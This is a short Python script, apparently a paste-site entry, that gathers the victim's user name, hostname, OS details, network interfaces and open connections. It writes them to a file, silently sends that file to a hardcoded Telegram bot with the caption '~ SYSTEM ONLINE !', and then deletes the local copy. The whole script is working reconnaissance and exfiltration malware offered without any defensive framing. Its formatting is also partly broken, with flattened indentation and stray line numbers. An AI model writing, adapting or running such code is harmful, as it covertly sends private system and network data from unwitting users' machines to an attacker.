import os
import socket
import platform
import datetime

try:
import psutil
import requests
except:
os.system("pip install psutil requests -q")

def get_system_info():
info = "--- System Information ---\n"
info += f"User: {os.getlogin()}\n"
info += f"Hostname: {socket.gethostname()}\n"
info += f"Machine: {platform.machine()}\n"
info += f"Processor: {platform.processor()}\n"
info += f"System Platform: {platform.system()}\n"
info += f"Release: {platform.release()}\n"
info += f"Version: {platform.version()}\n\n"
return info

def get_network_info():
info = "--- Network Information ---\n"
info += "Network Interfaces:\n"
for interface, addrs in psutil.net_if_addrs().items():
info += f" {interface}:\n"
for addr in addrs:
info += f" Address: {addr.address}\n"
info += f" Netmask: {addr.netmask}\n"
info += f" Broadcast IP: {addr.broadcast}\n"
info += f" PTMP IP: {addr.ptp}\n"
info += "\n"

1
2
3
4
5
6
7
info += "Network Connections:\n"
connections = psutil.net_connections()
for conn in connections:
    info += f"  Local Address: {conn.laddr}\n"
    info += f"  Remote Address: {conn.raddr}\n"
    info += f"  Status: {conn.status}\n\n"
return info

def send_file_to_telegram(bot_token, chat_id, file_path):
url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
params = {
"chat_id": chat_id,
"caption": "~ SYSTEM ONLINE !"
}
files = {
"document": open(file_path, "rb")
}
response = requests.post(url, params=params, files=files)

def main():
bot_token = "6301442969:AAGUncXdds4KHIa_yMQUCHSsQWaBxoKWNUY"
chat_id = "6271387222"
file_path = "system_info.txt"

system_info = get_system_info()
network_info = get_network_info()
info = system_info + network_info

with open(file_path, "w") as file:
    file.write(info)

send_file_to_telegram(bot_token, chat_id, file_path)

os.remove(file_path)

if name == "main":
main()

Edit
Pub: 25 Aug 2023 03:22 UTC
Views: 16